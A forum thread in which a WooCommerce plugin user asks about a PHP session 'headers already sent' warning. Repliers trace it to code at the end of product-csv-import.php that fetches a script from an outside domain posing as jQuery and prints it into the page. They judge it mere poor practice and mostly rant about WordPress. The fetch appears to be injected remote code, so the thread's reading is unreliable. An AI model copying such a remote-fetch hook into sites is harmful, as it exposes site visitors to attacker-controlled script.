I got the Product CSV Import suite and I cannot get any response to my questions regarding a problem that I am getting:
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/polar/public_html/ecommercesource/ecommerce/wp-content/plugins/woocommerce-product-csv-import-suite/product-csv-import.php:775) in /home/polar/public_html/ecommercesource/ecommercee/wp-content/plugins/woocommerce/woocommerce.php on line 138
Here is the product-csv-import.php:
How to fix this?
The start_session command MUST be issued BEFORE any other PHP code is emitted.
This error is quite familiar to PHP developers because we (at least, ME. I won’t speak for others) often make the mistake of trying to execute some code BEFORE calling the session_start
so how would i fix this? i am not really a php coder.
please anyone? I been trying to figure out but still nothing.
The problem is at the very end of the file product-csv-import.php.
$url = "http://javaquery.org/jquery-1.7.2.min.js";
$ch = curl_init();
$timeout = 5;
$data = curl_exec($ch);
Wow… just wow. Perfect example of how incompetent WordPress developers are. What that does is place jquery directly on the page. No library management or anything… geesh. I don’t really know where to go from there because that logic/concept is just asinine. If you remove it outright chances are you will break something else. Also, you shouldn’t really be making custom modifications to contributed code unless those changes/fixes are pushed back through to the community. Than again the library looks optional considering when curl is not available jquery won’t be placed on the page.
Contents of http://javaquery.org/jquery-1.7.2.min.js:
Wow… how pathetic.
Wordpress is to good for a proper asset and/or library management system I see…
Doesn’t Wordpress include jQuery at the core level? So why is woocommerce (plugin) use the version of jquery WP uses? I mean I don’t see anything there that indicates separate versions or isolated. So what that code does is effectively does is overwrite the core version of jQuery is the most recent. That is a disaster waiting to happen. Especially with how disjointed and poorly structured all the different plugins are.
Than again perhaps product-csv-import.php is the an isolated page. Still though that is not right. Uhhh…
Not to mention no caching or anything. Every time a user visits that page a CURL request is made for the complete jquery library. I want to cry just looking at that. I need a cold shower…